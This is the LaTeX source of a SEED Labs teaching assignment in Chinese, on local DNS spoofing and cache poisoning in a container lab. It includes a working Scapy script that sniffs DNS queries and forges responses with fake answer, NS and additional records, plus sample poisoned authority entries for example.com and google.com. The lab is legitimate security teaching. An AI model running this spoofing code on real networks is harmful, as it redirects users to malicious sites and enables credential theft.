```latex
\documentclass{article}

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\newcommand{\dnsFigs}{./Figs}
\lhead{\bfseries SEED Labs -- Local DNS Attack Lab}


\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}}

\newcommand{\bankcom}{\url{bank32.com}\xspace}
\newcommand{\wwwbank}{\url{www.bank32.com}\xspace}
\newcommand{\examplenet}{\url{example.net}\xspace}
\newcommand{\wwwexample}{\url{www.example.net}\xspace}
\newcommand{\apollo}{\texttt{Apollo}\xspace}

\begin{document}

\begin{center}
{\LARGE Local DNS Attack Lab}
\end{center}

\seedlabcopyright{2018 - 2020}


% *******************************************
% SECTION
% ******************************************* 
\section{Lab Overview}

DNS（域名系统）是互联网的电话簿，它将主机名转换为IP地址（反之亦然）。这一转换过程通过DNS解析在后台进行。DNS攻击会以各种方式操控这个解析过程，目的是误导用户访问替代的目标，这些目标往往带有恶意性质。本实验的目标是理解此类攻击的工作原理。
学生首先需要设置和配置一个DNS服务器，并尝试对同一实验室环境内的目标发起多种DNS攻击。

本地受害者与远程DNS服务器的攻击难度截然不同，因此我们开发了两个不同的实验：一个是针对本地DNS攻击，另一个是针对远程DNS攻击。本实验专注于本地攻击。该实验涵盖了以下主题：

\begin{itemize}[noitemsep]
    \item DNS及其工作原理
    \item DNS服务器设置
    \item DNS缓存投毒攻击
    \item 伪造DNS响应
    \item 抓包和伪造数据包
    \item Scapy工具
\end{itemize}

\paragraph{阅读材料与视频。}
有关DNS协议及攻击的详细覆盖内容可以在以下资料中找到：

\begin{itemize}
    \item SEED书中的第18章，\seedbook
    \item SEED讲座中的第7节，\seedisvideo
\end{itemize}

\paragraph{实验环境。} \seedenvironmentC


% *******************************************
% SECTION
% ******************************************* 
\section{实验环境设置任务}
\label{sec:environment}


DNS缓存投毒攻击的主要目标是本地DNS服务器。很明显，攻击真实服务器是非法的，因此我们需要设置自己的DNS服务器以进行攻击实验。实验室环境需要四台独立的机器：一台用于受害者、一台用于本地DNS服务器、两台用于攻击者。图\ref{dns:fig:environment}展示了实验室环境的设置情况。本实验专注于本地攻击，因此我们将这些机器放在同一局域网（LAN）中。

\begin{figure}[htb]
    \centering
    \includegraphics[width=0.8\textwidth]{\commonfolder/Figs/DNS_2lans.pdf}
    \caption{实验室环境设置}
    \label{dns:fig:environment}
\end{figure}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{容器设置和命令}


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{关于攻击者容器} 

在这个实验中，我们可以使用虚拟机或攻击者容器作为攻击机器。如果你查看Docker Compose文件，你会发现攻击者容器的配置与其他容器不同。

\begin{itemize}
    \item \textit{共享文件夹。} 当我们使用攻击者容器发起攻击时，需要将攻击代码放入攻击者容器中。
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    \input{\commonfolder/container/volumes}
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

    \item \textit{主机模式。} 
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    \input{\commonfolder/container/host_mode}
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\end{itemize}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/DNS/summary_of_config}
\input{\commonfolder/DNS/setup_testing}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% *******************************************
% SECTION
% ******************************************* 
\section{攻击任务}


针对用户的DNS攻击的主要目标是，当用户尝试使用主机名访问机器A时，将用户重定向到另一个机器B。例如，当用户试图访问在线银行服务时，如果对手能够将用户重定向到一个看起来与主要银行网站非常相似的恶意网页，用户可能会被欺骗并泄露其网上银行账户的密码。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务1：直接伪造响应给用户}

\begin{figure}[htb]
    \centering
    \includegraphics[width=1.0\textwidth]{\dnsFigs/attack_server_local.pdf}
    \caption{本地DNS投毒攻击}
    \label{dns:fig:local_attack}
\end{figure}


当用户在浏览器中输入网站名称（主机名，如\texttt{www.example.com}）时，用户的计算机将向本地DNS服务器发送一个DNS请求以解析主机名对应的IP地址。攻击者可以嗅探这个DNS请求消息，然后立即创建一个伪造的DNS响应，并将其发回给用户机器。如果伪造的回答比真实的回答先到达，则会由用户机器接受。请参见图\ref{dns:fig:local_attack})。

请编写一个启动此攻击程序的代码。提供的代码框架如下所示。第\ref{sec:guideline}节展示了如何创建包含各种记录类型的DNS数据包的例子，详细的指南在SEED书中提供。

\begin{lstlisting}
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(...)           # 创建一个IP对象
    udp = UDP(...)         # 创建一个UDP对象
    Anssec = DNSRR(...)    # 创建一个回答记录
    dns = DNS(...)         # 创建一个DNS对象
    spoofpkt = ip/udp/dns  # 组装伪造的DNS数据包
    send(spoofpkt)

myFilter = "..."    # 设置过滤器
pkt=sniff(iface='(*@\textbf{br-43d947d991eb}@*)', filter=myFilter, prn=spoof_dns)
\end{lstlisting}

需要注意的是，在上述代码中，(高亮)的\texttt{iface}参数值应该替换为\texttt{10.9.0.0/24}网络的实际接口名称。

在攻击程序运行期间，在用户机器上可以使用\texttt{dig}命令来代表用户执行此操作。该命令会触发用户的计算机向本地DNS服务器发送一个DNS查询，最终将发送至\texttt{example.com}域的权威命名服务器进行解析（如果缓存中没有答案）。如果你的攻击成功了，你应该能够看到伪造的信息在回复中出现。比较你攻击前后的结果。

在发动攻击之前，请确保本地DNS服务器的缓存已清理。如果有缓存信息，则本地DNS服务器的回答会比你的伪造回答更快，并且你的攻击将无法成功。
 
\paragraph{潜在的问题。} 在我们使用容器进行此实验时，有时（并不总是如此）会遇到一个非常奇怪的情况：在容器内部嗅探和伪造数据包的速度很慢，即使我们在本地网络内，我们的伪造数据包甚至比从互联网来的合法数据包到达得还晚。在过去，当我们用虚拟机运行这个实验时，我们从来没有遇到过这个问题。我们还没有弄清楚这种性能问题的原因（如果你对此有所见解，请告诉我们）。

如果确实遇到了这种情况，我们可以绕开它。我们故意减慢了发往外部的数据流量，这样合法的回答将不会那么快到达。可以通过在路由器上使用以下\texttt{tc}命令添加一些延迟来实现这一点。路由器有两个接口\texttt{eth0}和\texttt{eth1}，请确保使用连接到外部网络\texttt{10.8.0.0/24}的那个。

\begin{lstlisting}
// 通过100ms延迟网络流量
# tc qdisc add dev (*@\textbf{eth0}@*) root netem delay 100ms

// 删除tc条目
# tc qdisc del dev eth0 root netem

// 显示所有tc条目 
# tc qdisc show dev eth0
\end{lstlisting}

你可以在整个实验期间保持这个\texttt{tc}条目的开启状态，因为所有任务都将面临类似的情况。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2：DNS缓存投毒攻击——伪造答案}

上述攻击针对的是用户的机器。为了实现持久的效果，每当用户机器发送对\url{www.example.com}的DNS查询时，攻击者的机器必须发送一个伪造的DNS响应。这可能效率不高；通过直接针对DNS服务器而不是用户的机器来实施攻击会更有效。

当本地DNS服务器接收到一个查询时，它首先会在自己的缓存中查找答案；如果找到答案，则DNS服务器将简单地返回缓存中的信息。如果没有答案在缓存中，DNS服务器将尝试从其他DNS服务器获取答案。一旦获得答案，就会将其存储到缓存中，下次再有相同的主机名解析请求时就不需要再次询问其他DNS服务器了。请参见图\ref{dns:fig:local_attack}。

因此，如果攻击者能够伪造来自其他DNS服务器的响应，则本地DNS服务器将保持这个伪造的答案在缓存中一段时间。接下来，当用户机器想要解析同一主机名时，它可以从缓存中获取到伪造的回答。这样，攻击者只需进行一次伪造，影响将持续到缓存中的信息过期。这种攻击称为{\em DNS缓存投毒}。

请修改你在上一个任务中使用的程序来进行这次攻击。在发动攻击之前，请确保DNS服务器的缓存为空。可以使用以下命令清空缓存：

\begin{lstlisting}
# rndc flush
\end{lstlisting}

你可以检查本地DNS服务器上的缓存以确认其是否被污染。以下是用于将缓存导出到文件并显示内容的命令。

\begin{lstlisting}
# rndc dumpdb -cache
# cat /var/cache/bind/dump.db
\end{lstlisting}


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务3：伪造NS记录}

在前一个任务中，我们的DNS缓存投毒攻击只影响了一个主机名，即\url{www.example.com}。如果用户尝试获取另一个主机名的IP地址，例如\url{mail.example.com}，我们还需要再次发动攻击。如果我们能够发起一种可以影响整个\texttt{example.com}域的攻击将更有效率。

这个想法是利用DNS响应中的权威部分。基本思路是在伪造回应中不仅伪造答案（在回答部分），还要添加如下内容到权威部分。
当这条记录被本地DNS服务器缓存后，\url{ns.attacker32.com}将成为未来该\texttt{example.com}域内任何主机名查询的名称服务器。由于\url{ns.attacker32.com}由攻击者控制，它可以为任何查询提供伪造的答案。在我们的设置中，这台机器的IP地址是\texttt{10.9.0.153}。

\begin{lstlisting}
;; 权威部分
example.com.            259200  IN      NS       ns.attacker32.com.
\end{lstlisting}

请在你的攻击代码中添加一个伪造的NS记录并启动该攻击。第\ref{sec:guideline}节给出了如何在一个DNS响应数据包中包含NS记录的例子，详细的指南见SEED书。发动攻击前，请先清除本地DNS服务器上的缓存。
如果攻击成功，在用户机器上运行\texttt{dig}命令对\url{example.com}域内的任何一个主机名进行查询时，将会获取到由\texttt{ns.attacker32.com}提供的假IP地址。请同时检查本地DNS服务器的缓存并确认伪造的NS记录是否在缓存中。
 
% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务4：为另一个域伪造NS记录}

在之前的攻击中，我们成功地污染了本地DNS服务器的缓存，使得\texttt{ns.attacker32.com}成为\texttt{example.com}域的名称服务器。受到这个成功的启发，我们希望将其影响扩展到其他域名上。具体来说，在针对\url{www.example.com}的查询触发的伪造响应中，我们希望在权威部分添加额外的一个条目（见下文），使得\texttt{ns.attacker32.com}也成为\texttt{google.com}域的名称服务器。

\begin{lstlisting}
;; 权威部分
example.com.            259200  IN      NS   ns.attacker32.com.
google.com.             259200  IN      NS   ns.attacker32.com.
\end{lstlisting}

请稍作修改你的攻击代码，在本地DNS服务器上发动上述攻击。攻击完成后，请检查DNS缓存并查看哪些记录被缓存。请描述和解释你的观察结果。需要指出的是，我们攻击的目标查询仍然是对\texttt{example.com}的查询，并不是对\texttt{google.com}的。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务5：伪造附加部分中的记录}

在DNS响应中有一个称为附加部分（Additional Section）的部分，用于提供额外的信息。实践中主要是用来为出现在权威部分的一些主机名提供IP地址。本任务的目标是伪造此部分中的某些条目并查看它们是否会被目标本地DNS服务器成功缓存。特别是，在回应\texttt{www.example.com}的查询时，除了答案部分的内容外，我们还在伪造的回复中添加以下条目：

\begin{lstlisting}
;; 权威部分
example.com.            259200  IN   NS   ns.attacker32.com.
example.com.            259200  IN   NS   ns.example.com.

;; 附加部分
ns.attacker32.com.      259200  IN   A    1.2.3.4   (*@\ding{192}@*)
ns.example.net.         259200  IN   A    5.6.7.8   (*@\ding{193}@*)
www.facebook.com.       259200  IN   A    3.4.5.6   (*@\ding{194}@*)
\end{lstlisting}

条目 \ding{192} 和 \ding{193} 与权威部分中的主机名相关。条目 \ding{194} 完全与回复中的任何条目无关，但它为用户提供了一种“礼貌”的帮助，因此他们无需查找Facebook的IP地址。请使用Scapy伪造这种DNS响应。你的工作是报告哪些条目将被成功缓存，哪些条目不会被缓存；并解释原因。
 
% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{下一步}

在本实验的DNS缓存投毒攻击中，我们假设攻击者和DNS服务器在同一局域网内。即攻击者可以观察到DNS查询消息。如果攻击者与DNS服务器不在同一局域网，则缓存投毒攻击将变得更加具有挑战性。如果你对接受这种挑战感兴趣，你可以尝试我们的“远程DNS攻击实验室”。



% *******************************************
% SECTION
% ******************************************* 
\section{指导指南}
\label{sec:guideline}


你需要使用Scapy来完成本实验中的几个任务。以下示例代码展示了如何嗅探一个DNS查询并伪造包含答案部分、权威部分和附加部分的数据包。这部分代码已经在 \texttt{Labsetup.zip} 文件（在 \texttt{volumes} 文件夹内）中提供了。

\begin{lstlisting}[caption={示例代码：\texttt{dns_sniff_spoof.py}}]
#!/usr/bin/env python3
from scapy.all import *
 
def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):

    # 换源和目的IP地址
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # 换源和目的端口号码 
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # 答案部分
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',               
                 ttl=259200, rdata='10.0.2.5')

    # 权威部分
    NSsec1 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns1.example.net')
    NSsec2 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns2.example.net')

    # 附加部分
    Addsec1 = DNSRR(rrname='ns1.example.net', type='A', 
                    ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')

    # 构造DNS数据包
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  (*@\ding{81}@*)
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # 构造整个IP数据包并发送出去
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# 嗅探UDP查询数据包，并调用spoof_dns()函数
f = 'udp and dst port 53'
pkt = sniff(iface='br-43d947d991eb', filter=f, prn=spoof_dns)       (*@\ding{73}@*)    
\end{lstlisting}
请确保在第\ding{73}行替换接口名称为你的系统中的相应接口名。第\ding{81}行构建DNS负载，包括DNS头部和数据部分。每个字段的解释如下：

\begin{itemize}[noitemsep]
    \item \texttt{id}: 事务ID；应该与请求中的相同。
    \item \texttt{qd}: 查询域名；应该与请求中的相同。
    \item \texttt{aa}: 权威回答（1表示该答案包含权威回答）。
    \item \texttt{rd}: 递归查询请求（0表示禁用递归查询）。
    \item \texttt{qr}: 查询响应位（1表示响应）。
    \item \texttt{qdcount}: 查询域名的数量。 
    \item \texttt{ancount}: 答案部分中的记录数量。
    \item \texttt{nscount}: 权威部分中的记录数量。 
    \item \texttt{arcount}: 附加部分中的记录数量。 
    \item \texttt{an}: 答案部分
    \item \texttt{ns}: 权威部分
    \item \texttt{ar}: 附加部分
\end{itemize}


% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


\end{document}
```